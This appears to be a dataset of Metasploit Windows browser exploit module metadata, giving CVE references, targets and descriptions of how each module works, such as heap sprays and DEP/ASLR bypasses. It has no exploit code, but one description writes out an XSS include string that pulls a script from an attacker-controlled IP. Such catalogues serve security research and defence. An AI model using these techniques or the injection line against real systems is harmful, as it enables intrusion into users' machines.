deardaniel/secdata-raw huggingface dataset:
Metasploit Module: Mozilla Firefox 3.6.16 mChannel Use-After-Free Vulnerability
Type: exploit
Path: modules/exploits/windows/browser/mozilla_mchannel.rb
Platform: win
Disclosure date: 2011-05-10
Authors: mr_me <steventhomasseeley[at]gmail.com>
References: CVE-2011-0065, OSVDB-72085, URL-https://bugzilla.mozilla.org/show_bug.cgi?id=634986, URL-http://www.mozilla.org/security/announce/2011/mfsa2011-13.html
Targets: Firefox 3.6.16 on Windows XP SP3, Firefox 3.6.16 on Windows 7 + Java

Description:
This module exploits a use after free vulnerability in Mozilla
          Firefox 3.6.16. An OBJECT Element mChannel can be freed via the
          OnChannelRedirect method of the nsIChannelEventSink Interface. mChannel
          becomes a dangling pointer and can be reused when setting the OBJECTs
          data attribute. (Discovered by regenrecht). This module uses heapspray
          with a minimal ROP chain to bypass DEP on Windows XP SP3. Additionlay,
          a windows 7 target was provided using JAVA 6 and below to avoid aslr.
Metasploit Module: Microsoft Internet Explorer Unsafe Scripting Misconfiguration
Type: exploit
Path: modules/exploits/windows/browser/ie_unsafe_scripting.rb
Platform: win
Disclosure date: 2010-09-20
References: URL-http://support.microsoft.com/kb/182569, URL-http://blog.invisibledenizen.org/2009/01/ieunsafescripting-metasploit-module.html, URL-http://support.microsoft.com/kb/870669

Description:
This exploit takes advantage of the "Initialize and script ActiveX controls not
          marked safe for scripting" setting within Internet Explorer.  When this option is set,
          IE allows access to the WScript.Shell ActiveX control, which allows javascript to
          interact with the file system and run commands.  This security flaw is not uncommon
          in corporate environments for the 'Intranet' or 'Trusted Site' zones.

          When set via domain policy, the most common registry entry to modify is HKLM\
          Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\1201,
          which if set to '0' forces ActiveX controls not marked safe for scripting to be
          enabled for the Intranet zone.

          This module creates a javascript/html hybrid that will render correctly either
          via a direct GET http://msf-server/ or as a javascript include, such as in:
          http://intranet-server/xss.asp?id="><script%20src=http://10.10.10.10/ie_unsafe_script.js>
          </script>.

          IE Tabs, WScript and subsequent Powershell prompts all run as x86 even when run from
          an x64 iexplore.exe.

          By default, this module will not attempt to fire against IEs that come with Protected
          Mode enabled by default, because it can trigger a security prompt. However, if you are
          feeling brave, you can choose to ignore this restriction by setting the ALLOWPROMPT
          datastore option to true.
Metasploit Module: HP LoadRunner lrFileIOService ActiveX WriteFileString Remote Code Execution
Type: exploit
Path: modules/exploits/windows/browser/hp_loadrunner_writefilestring.rb
Platform: win
Disclosure date: 2013-07-24
References: CVE-2013-4798, OSVDB-95642, BID-61443, ZDI-13-207, URL-https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03862772

Description:
This module exploits a vulnerability on the lrFileIOService ActiveX, as installed
          with HP LoadRunner 11.50. The vulnerability exists in the WriteFileString method,
          which allow the user to write arbitrary files. It's abused to drop a payload
          embedded in a dll, which is later loaded through the Init() method from the
          lrMdrvService control, by abusing an insecure LoadLibrary call. This module has
          been tested successfully on IE8 on Windows XP. Virtualization based on the Low
          Integrity Process, on Windows Vista and 7, will stop this module because the DLL
          will be dropped to a virtualized folder, which isn't used by LoadLibrary.
Metasploit Module: MS06-013 Microsoft Internet Explorer createTextRange() Code Execution
Type: exploit
Path: modules/exploits/windows/browser/ms06_013_createtextrange.rb
Platform: win
Disclosure date: 2006-03-19
References: CVE-2006-1359, OSVDB-24050, MSB-MS06-013, BID-17196, US-CERT-VU-876678, URL-http://web.archive.org/web/[PII_REDACTED]4756/http://secunia.com:80/secunia_research/2006-7/advisory/, URL-https://seclists.org/lists/bugtraq/2006/Mar/0410.html, URL-https://seclists.org/lists/fulldisclosure/2006/Mar/1439.html

Description:
This module exploits a code execution vulnerability in Microsoft Internet Explorer.
          Both IE6 and IE7 (Beta 2) are vulnerable. It will corrupt memory in a way, which, under
          certain circumstances, can lead to an invalid/corrupt table pointer dereference. EIP will point
          to a very remote, non-existent memory location. This module is the result of merging three
          different exploit submissions and has only been reliably tested against Windows XP SP2.
          This vulnerability was independently discovered by multiple parties. The heap spray method
          used by this exploit was pioneered by Skylined.
Metasploit Module: RealNetworks RealPlayer CDDA URI Initialization Vulnerability
Type: exploit
Path: modules/exploits/windows/browser/realplayer_cdda_uri.rb
Platform: win
Disclosure date: 2010-11-15
References: CVE-2010-3747, OSVDB-68673, BID-44144, ZDI-10-210, URL-http://service.real.com/realplayer/security/10152010_player/en/

Description:
This module exploits an initialization flaw within RealPlayer 11/11.1 and
          RealPlayer SP 1.0 - 1.1.4. An abnormally long CDDA URI causes an object
          initialization failure. However, this failure is improperly handled and
          uninitialized memory executed.
Metasploit Module: AtHocGov IWSAlerts ActiveX Control Buffer Overflow
Type: exploit
Path: modules/exploits/windows/browser/athocgov_completeinstallation.rb
Platform: win
Disclosure date: 2008-02-15
References: OSVDB-94557

Description:
This module exploits a stack buffer overflow in AtHocGov IWSAlerts. When
          sending an overly long string to the CompleteInstallation() method of AtHocGovTBr.dll
          (6.1.4.36) an attacker may be able to execute arbitrary code. This
          vulnerability was silently patched by the vendor.
Metasploit Module: McAfee Virtual Technician MVTControl 6.3.0.1911 GetObject Vulnerability
Type: exploit
Path: modules/exploits/windows/browser/mcafee_mvt_exec.rb
Platform: win
Disclosure date: 2012-04-30
References: CVE-2012-4598, OSVDB-81657, EDB-18805, URL-https://kc.mcafee.com/corporate/index?page=content&id=SB10028

Description:
This module exploits a vulnerability found in McAfee Virtual Technician's
          MVTControl.  This ActiveX control can be abused by using the GetObject() function
          to load additional unsafe classes such as WScript.Shell, therefore allowing remote
          code execution under the context of the user.
Metasploit Module: MS12-063 Microsoft Internet Explorer execCommand Use-After-Free Vulnerability
Type: exploit
Path: modules/exploits/windows/browser/ie_execcommand_uaf.rb
Platform: win
Disclosure date: 2012-09-14
References: CVE-2012-4969, OSVDB-85532, MSB-MS12-063, URL-http://technet.microsoft.com/en-us/security/advisory/2757760, URL-http://eromang.zataz.com/2012/09/16/zero-day-season-is-really-not-over-yet/

Description:
This module exploits a vulnerability found in Microsoft Internet Explorer (MSIE). When
          rendering an HTML page, the CMshtmlEd object gets deleted in an unexpected manner,
          but the same memory is reused again later in the CMshtmlEd::Exec() function, leading
          to a use-after-free condition.

          Please note that this vulnerability has been exploited in the wild since Sep 14 2012.

          Also note that presently, this module has some target dependencies for the ROP chain to be
          valid. For WinXP SP3 with IE8, msvcrt must be present (as it is by default).
          For Vista or Win7 with IE8, or Win7 with IE9, JRE 1.6.x or below must be installed (which
          is often the case).
Metasploit Module: Adobe Flash Player AVM Bytecode Verification Vulnerability
Type: exploit
Path: modules/exploits/windows/browser/adobe_flashplayer_avm.rb
Platform: win
Disclosure date: 2011-03-15
References: CVE-2011-0609, OSVDB-71254, URL-http://bugix-security.blogspot.com/2011/03/cve-2011-0609-adobe-flash-player.html, URL-http://www.adobe.com/devnet/swf.html, URL-http://www.adobe.com/support/security/advisories/apsa11-01.html, URL-http://www.f-secure.com/weblog/archives/00002226.html

Description:
This module exploits a vulnerability in Adobe Flash Player versions 10.2.152.33
          and earlier. This issue is caused by a failure in the ActionScript3 AVM2 verification
          logic. This results in unsafe JIT(Just-In-Time) code being executed.  This is the same
          vulnerability that was used for the RSA attack in March 2011.

          Specifically, this issue results in uninitialized memory being referenced and later
          executed. Taking advantage of this issue relies on heap spraying and controlling the
          uninitialized memory.

          Currently this exploit works for IE6, IE7, and Firefox 3.6 and likely several
          other browsers. DEP does catch the exploit and causes it to fail. Due to the nature
          of the uninitialized memory its fairly difficult to get around this restriction.
Metasploit Module: Ultra Shareware Office Control ActiveX HttpUpload Buffer Overflow
Type: exploit
Path: modules/exploits/windows/browser/ultraoffice_httpupload.rb
Platform: win
Disclosure date: 2008-08-27
References: CVE-2008-3878, OSVDB-47866, BID-30861, EDB-6318

Description:
This module exploits a stack-based buffer overflow in Ultra Shareware's Office
          Control. When processing the 'HttpUpload' method, the arguments are concatenated
          together to form a command line to run a bundled version of cURL. If the command
          fails to run, a stack-based buffer overflow occurs when building the error
          message. This is due to the use of sprintf() without proper bounds checking.

          NOTE: Due to input restrictions, this exploit uses a heap-spray to get the payload
          into memory unmodified.
Metasploit Module: Adobe Flash Player "newfunction" Invalid Pointer Use
Type: exploit
Path: modules/exploits/windows/browser/adobe_flashplayer_newfunction.rb
Platform: win
Disclosure date: 2010-06-04
References: CVE-2010-1297, OSVDB-65141, BID-40586, URL-http://www.adobe.com/support/security/advisories/apsa10-01.html, URL-http://feliam.wordpress.com/2010/02/11/flash-on-a-pdf-with-minipdf-py/

Description:
This module exploits a vulnerability in the DoABC tag handling within
          versions 9.x and 10.0 of Adobe Flash Player. Adobe Reader and Acrobat are also
          vulnerable, as are any other applications that may embed Flash player.

          Arbitrary code execution is achieved by embedding a specially crafted Flash
          movie into a PDF document. An AcroJS heap spray is used in order to ensure
          that the memory used by the invalid pointer issue is controlled.

          NOTE: This module uses a similar DEP bypass method to that used within the
          adobe_libtiff module. This method is unlikely to work across various
          Windows versions due a hardcoded syscall number.
Metasploit Module: Adobe JBIG2Decode Heap Corruption
Type: exploit
Path: modules/exploits/windows/browser/adobe_jbig2decode.rb
Platform: win
Disclosure date: 2009-02-19
References: CVE-2009-0658, OSVDB-52073, URL-http://www.adobe.com/support/security/bulletins/apsb09-04.html

Description:
This module exploits a heap-based pointer corruption flaw in Adobe Reader 9.0.0 and earlier.
          This module relies upon javascript for the heap spray.
Metasploit Module: Apple ITunes 4.7 Playlist Buffer Overflow
Type: exploit
Path: modules/exploits/windows/browser/apple_itunes_playlist.rb
Platform: win
Disclosure date: 2005-01-11
Authors: MC
References: CVE-2005-0043, OSVDB-12833, BID-12238

Description:
This module exploits a stack buffer overflow in Apple ITunes 4.7
          build 4.7.0.42. By creating a URL link to a malicious PLS
          file, a remote attacker could overflow a buffer and execute
          arbitrary code. When using this module, be sure to set the
          URIPATH with an extension of '.pls'.
Metasploit Module: MS12-037 Microsoft Internet Explorer Same ID Property Deleted Object Handling Memory Corruption
Type: exploit
Path: modules/exploits/windows/browser/ms12_037_same_id.rb
Platform: win
Disclosure date: 2012-06-12
References: MSB-MS12-037, CVE-2012-1875, OSVDB-82865, URL-http://labs.alienvault.com/labs/index.php/2012/ongoing-attacks-exploiting-cve-2012-1875/, URL-https://twitter.com/binjo/status/[PII_REDACTED]74830592, URL-https://www.rapid7.com/blog/post/2012/06/18/metasploit-exploits-critical-microsoft-vulnerabilities

Description:
This module exploits a memory corruption flaw in Internet Explorer 8 when
          handling objects with the same ID property. At the moment this module targets
          IE8 over Windows XP SP3 and Windows 7. This module supports heap massaging
          as well as the heap spray method seen in the wild (Java msvcrt71.dll).
Metasploit Module: RealNetworks RealPlayer SMIL Buffer Overflow
Type: exploit
Path: modules/exploits/windows/browser/realplayer_smil.rb
Platform: win
Disclosure date: 2005-03-01
Authors: MC
References: CVE-2005-0455, OSVDB-14305, BID-12698

Description:
This module exploits a stack buffer overflow in RealNetworks RealPlayer 10 and 8.
          By creating a URL link to a malicious SMIL file, a remote attacker could
          overflow a buffer and execute arbitrary code.
          When using this module, be sure to set the URIPATH with an extension of '.smil'.
          This module has been tested with RealPlayer 10 build 6.0.12.883 and RealPlayer 8
          build 6.0.9.584.
Metasploit Module: NTR ActiveX Control Check() Method Buffer Overflow
Type: exploit
Path: modules/exploits/windows/browser/ntr_activex_check_bof.rb
Platform: win
Disclosure date: 2012-01-11
References: CVE-2012-0266, OSVDB-78252, BID-51374, URL-http://web.archive.org/web/[PII_REDACTED]3631/http://secunia.com/secunia_research/2012-1/

Description:
This module exploits a vulnerability found in NTR ActiveX 1.1.8. The
          vulnerability exists in the Check() method, due to the insecure usage of strcat to
          build a URL using the bstrParams parameter contents (note: this is also the reason
          why the module won't allow you to modify the URIPATH), which leads to code execution
          under the context of the user visiting a malicious web page. In order to bypass
          DEP and ASLR on Windows Vista and Windows 7 JRE 6 is needed.
Metasploit Module: Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (HTTP)
Type: exploit
Path: modules/exploits/windows/browser/ms07_017_ani_loadimage_chunksize.rb
Platform: win
Disclosure date: 2007-03-28
References: CVE-2007-0038, OSVDB-33629, BID-23194, MSB-MS07-017

Description:
This module exploits a buffer overflow vulnerability in the
          LoadAniIcon() function in USER32.dll. The flaw can be triggered through
          Internet Explorer 6 and 7 by using the CURSOR style sheet directive
          to load a malicious .ANI file. The module can also exploit Mozilla
          Firefox by using a UNC path in a moz-icon URL and serving the .ANI file
          over WebDAV. The vulnerable code in USER32.dll will catch any
          exceptions that occur while the invalid cursor is loaded, causing the
          exploit to silently fail when the wrong target has been chosen.

          This vulnerability was discovered by Alexander Sotirov of Determina
          and was rediscovered, in the wild, by McAfee.
Metasploit Module: Microsoft OWC Spreadsheet msDataSourceObject Memory Corruption
Type: exploit
Path: modules/exploits/windows/browser/ms09_043_owc_msdso.rb
Platform: win
Disclosure date: 2009-07-13
References: CVE-2009-1136, OSVDB-55806, MSB-MS09-043, URL-http://ahmed.obied.net/software/code/exploits/ie_owc.py, EDB-9163, URL-https://web.archive.org/web/[PII_REDACTED]3635/http://xeye.us/blog/2009/07/one-0day/

Description:
This module exploits a memory corruption vulnerability within versions 10 and 11 of
          the Office Web Component Spreadsheet ActiveX control. This module was based on
          an exploit found in the wild.
Metasploit Module: Icona SpA C6 Messenger DownloaderActiveX Control Arbitrary File Download and Execute
Type: exploit
Path: modules/exploits/windows/browser/c6_messenger_downloaderactivex.rb
Platform: win
Disclosure date: 2008-06-03
References: CVE-2008-2551, OSVDB-45960, BID-29519

Description:
This module exploits a vulnerability in Icona SpA C6 Messenger 1.0.0.1. The
          vulnerability is in the DownloaderActiveX Control (DownloaderActiveX.ocx). The
          insecure control can be abused to download and execute arbitrary files in the context of
          the currently logged-on user.
Metasploit Module: Maxthon3 about:history XCS Trusted Zone Code Execution
Type: exploit
Path: modules/exploits/windows/browser/maxthon_history_xcs.rb
Platform: win
Disclosure date: 2012-11-26
References: CVE-2012-10032, OSVDB-88191, EDB-23225, URL-http://blog.malerisch.net/2012/12/maxthon-cross-context-scripting-xcs-about-history-rce.html

Description:
Cross Context Scripting (XCS) is possible in the Maxthon about:history page.
          Injection in such privileged/trusted browser zone can be used to modify
          configuration settings and execute arbitrary commands.

          Please note this module only works against specific versions of XCS. Currently,
          we've only successfully tested on Maxthon 3.1.7 build 600 up to 3.2.2 build 1000.
Metasploit Module: Microsoft DirectShow (msvidctl.dll) MPEG-2 Memory Corruption
Type: exploit
Path: modules/exploits/windows/browser/msvidctl_mpeg2.rb
Platform: win
Disclosure date: 2009-07-05
References: CVE-2008-0015, OSVDB-55651, BID-35558, MSB-MS09-032, MSB-MS09-037

Description:
This module exploits a memory corruption within the MSVidCtl component of Microsoft
          DirectShow (BDATuner.MPEG2TuneRequest).
          By loading a specially crafted GIF file, an attacker can overrun a buffer and
          execute arbitrary code.

          ClassID is now configurable via an advanced option (otherwise randomized) - I)ruid
Metasploit Module: KingScada kxClientDownload.ocx ActiveX Remote Code Execution
Type: exploit
Path: modules/exploits/windows/browser/wellintech_kingscada_kxclientdownload.rb
Platform: win
Disclosure date: 2014-01-14
References: CVE-2013-2827, OSVDB-102135, BID-64941, ZDI-14-011, URL-http://ics-cert.us-cert.gov/advisories/ICSA-13-344-01

Description:
This module abuses the kxClientDownload.ocx ActiveX control distributed with WellingTech KingScada.
          The ProjectURL property can be abused to download and load arbitrary DLLs from
          arbitrary locations, leading to arbitrary code execution, because of a dangerous
          usage of LoadLibrary. Due to the nature of the vulnerability, this module will work
          only when Protected Mode is not present or not enabled.
Metasploit Module: mIRC IRC URL Buffer Overflow
Type: exploit
Path: modules/exploits/windows/browser/mirc_irc_url.rb
Platform: win
Disclosure date: 2003-10-13
Authors: MC
References: CVE-2003-1336, OSVDB-2665, BID-8819

Description:
This module exploits a stack buffer overflow in mIRC 6.1. By
          submitting an overly long and specially crafted URL to
          the 'irc' protocol, an attacker can overwrite the buffer
          and control program execution.
Metasploit Module: Adobe FlateDecode Stream Predictor 02 Integer Overflow
Type: exploit
Path: modules/exploits/windows/browser/adobe_flatedecode_predictor02.rb
Platform: win
Disclosure date: 2009-10-08
References: CVE-2009-3459, BID-36600, OSVDB-58729, URL-http://web.archive.org/web/[PII_REDACTED]1443/https://blogs.adobe.com/psirt/2009/10/adobe_reader_and_acrobat_issue_1.html/, URL-http://www.adobe.com/support/security/bulletins/apsb09-15.html

Description:
This module exploits an integer overflow vulnerability in Adobe Reader and Adobe
          Acrobat Professional versions before 9.2.
Metasploit Module: WebDAV Application DLL Hijacker
Type: exploit
Path: modules/exploits/windows/browser/webdav_dll_hijacker.rb
Platform: win
Disclosure date: 2010-08-18
References: URL-http://blog.zoller.lu/2010/08/cve-2010-xn-loadlibrarygetprocaddress.html, URL-http://www.acrossecurity.com/aspr/ASPR-2010-08-18-1-PUB.txt

Description:
This module presents a directory of file extensions that can lead to
          code execution when opened from the share. The default EXTENSIONS option
          must be configured to specify a vulnerable application type.
Metasploit Module: MS14-012 Microsoft Internet Explorer CMarkup Use-After-Free
Type: exploit
Path: modules/exploits/windows/browser/ms14_012_cmarkup_uaf.rb
Platform: win
Disclosure date: 2014-02-13
References: CVE-2014-0322, MSB-MS14-012, BID-65551, URL-http://www.fireeye.com/blog/technical/cyber-exploits/2014/02/operation-snowman-deputydog-actor-compromises-us-veterans-of-foreign-wars-website.html, URL-http://hdwsec.fr/blog/CVE-2014-0322.html

Description:
This module exploits an use after free condition on Internet Explorer as used in the wild
          as part of "Operation SnowMan" in February 2014. The module uses Flash Player 12 in order to
          bypass ASLR and DEP.
Metasploit Module: IBM SPSS SamplePower C1Tab ActiveX Heap Overflow
Type: exploit
Path: modules/exploits/windows/browser/ibm_spss_c1sizer.rb
Platform: win
Disclosure date: 2013-04-26
References: CVE-2012-5946, OSVDB-92845, BID-59559, URL-http://www-01.ibm.com/support/docview.wss?uid=swg21635476, ZDI-13-100

Description:
This module exploits a heap based buffer overflow in the C1Tab ActiveX control,
          while handling the TabCaption property. The affected control can be found in the
          c1sizer.ocx component as included with IBM SPSS SamplePower 3.0. This module has
          been tested successfully on IE 6, 7 and 8 on Windows XP SP3 and IE 8 on Windows 7
          SP1.
Metasploit Module: AwingSoft Winds3D Player SceneURL Buffer Overflow
Type: exploit
Path: modules/exploits/windows/browser/awingsoft_web3d_bof.rb
Platform: win
Disclosure date: 2009-07-10
References: CVE-2009-4588, OSVDB-60017, EDB-9116, URL-http://www.rec-sec.com/2009/07/28/awingsoft-web3d-buffer-overflow/

Description:
This module exploits a data segment buffer overflow within Winds3D Viewer of
          AwingSoft Awakening 3.x (WindsPly.ocx v3.6.0.0). This ActiveX is a plugin of
          AwingSoft Web3D Player.
          By setting an overly long value to the 'SceneURL' property, an attacker can
          overrun a buffer and execute arbitrary code.
Metasploit Module: HP Application Lifecycle Management XGO.ocx ActiveX SetShapeNodeType() Remote Code Execution
Type: exploit
Path: modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb
Platform: win
Disclosure date: 2012-08-29
References: OSVDB-85152, BID-55272, ZDI-12-170

Description:
This module exploits a vulnerability within the XGO.ocx ActiveX Control
          installed with the HP Application Lifecycle Manager Client. The vulnerability
          exists in the SetShapeNodeType method, which allows the user to specify memory
          that will be used as an object, through the node parameter. It allows to control
          the dereference and use of a function pointer. This module has been successfully
          tested with HP Application Lifecycle Manager 11.50 and requires JRE 6 in order to
          bypass DEP and ASLR.